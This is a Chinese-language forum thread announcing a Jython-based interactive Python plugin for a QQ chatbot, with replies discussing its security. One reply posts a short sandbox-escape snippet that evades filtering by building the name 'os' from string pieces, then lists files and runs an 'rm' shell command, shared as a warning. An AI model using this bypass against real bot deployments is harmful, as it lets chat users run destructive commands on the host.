MiraiForum

    • Register
    • Login
    • Search
    • Popular
    • Recent
    • Unsolved
    • Tags
    • Groups
    • 友情链接

    Python交互式命令行插件(持续更新)

    插件发布
    5
    5
    1042
    Loading More Posts
    • Oldest to Newest
    • Newest to Oldest
    • Most Votes
    Reply
    • Reply as topic
    Log in to reply
    This topic has been deleted. Only users with topic management privileges can see it.
    • R
      RIvance last edited by

      Screenshot from 2021-08-24 00-34-29.png

      比较简单的小东西, 基于Jython2.7开发, 扩展性较强, 后期会加入matplotlib图片显示等功能

      项目地址: https://github.com/RIvance/MiraiPythonPlugin

      目前有如下命令:

      命令 用途
      !python, !py, !exec, #python python交互式命令行
      !calc, !print, !eval 打印表达式值
      !autoclear <on | off> 开启/关闭自动清空buffer
      !import 导包
      !addpacks <path> 引入第三方包路径
      !cond 打印上次执行的状态
      !clearbuffer 清空buffer

      目前安全方面可以预防绝大部分沙箱逃逸方法, 但也不保证绝对安全, 建议在docker内使用

      1 Reply Last reply Reply Quote 0
      • EdgeStar2020
        EdgeStar2020 last edited by

        大佬这是要面向QQ编程吗(

        1 Reply Last reply Reply Quote 1
        • RainChan
          RainChan 摸鱼 last edited by

          感觉还是有办法逃逸的,不用docker可能确实不太安全

          1 Reply Last reply Reply Quote 0
          • J
            JAstray last edited by JAstray

            qwq已经确定能注入命令了

            #python
            a = __import__("o"+"s")
            for i in a.listdir("./"):
                print(i)
            a.system("rm xxxxxxx")
            

            大家使用的时候一定要注意安全Orz

            1 Reply Last reply Reply Quote 2
            • Z
              zyckk4 last edited by zyckk4

              请问有没有办法在python运行时强行停止?

              1 Reply Last reply Reply Quote 0
              • 1 / 1
              • First post
                Last post
              Powered by Mamoe Technologies & NodeBB | 友情链接 | 服务监控 | Contact us